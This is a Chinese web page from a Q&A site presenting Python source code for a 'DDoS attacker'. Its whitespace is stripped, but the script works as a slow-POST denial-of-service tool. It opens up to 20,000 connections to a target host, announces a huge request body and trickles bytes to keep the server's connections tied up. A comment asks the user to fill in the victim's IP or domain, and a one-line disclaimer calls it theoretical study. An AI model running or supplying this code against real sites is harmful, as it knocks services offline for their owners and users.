欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

Python制作DDos攻击器源码

时间:2023-07-29

Python制作DDos攻击器源码代码仅供理论学习参考,实际用途不大,测试注意修改源码

importsocketimporttimeimportthreading#PressureTest,ddostool#---------------------------MAX_CONN=20000PORT=80HOST=""#在双引号里输入对方IP或域名.PAGE="/index.php"#---------------------------buf=("POST%sHTTP/1.1\r\n""Host:%s\r\n""Content-Length:10000000\r\n""cookie:dklkt_dos_test\r\n""\r\n"%(PAGE,HOST))socks=[]defconn_thread():globalsocksforiinrange(0,MAX_CONN):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print("SendbufOK!,conn=%d\n"%i)socks.append(s)exceptExceptionasex:print("Couldnotconnecttoserverorsenderror:%s"%ex)time.sleep(0.1)#enddefdefsend_thread():globalsockswhileTrue:forsinsocks:try:s.send("f".encode())#print"sendOK!"exceptExceptionasex:print("SendException:%s\n"%ex)socks.remove(s)s.close()time.sleep(0.1)#enddefconn_th=threading.Thread(target=conn_thread,args=())send_th=threading.Thread(target=send_thread,args=())conn_th.start()send_th.start()


Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。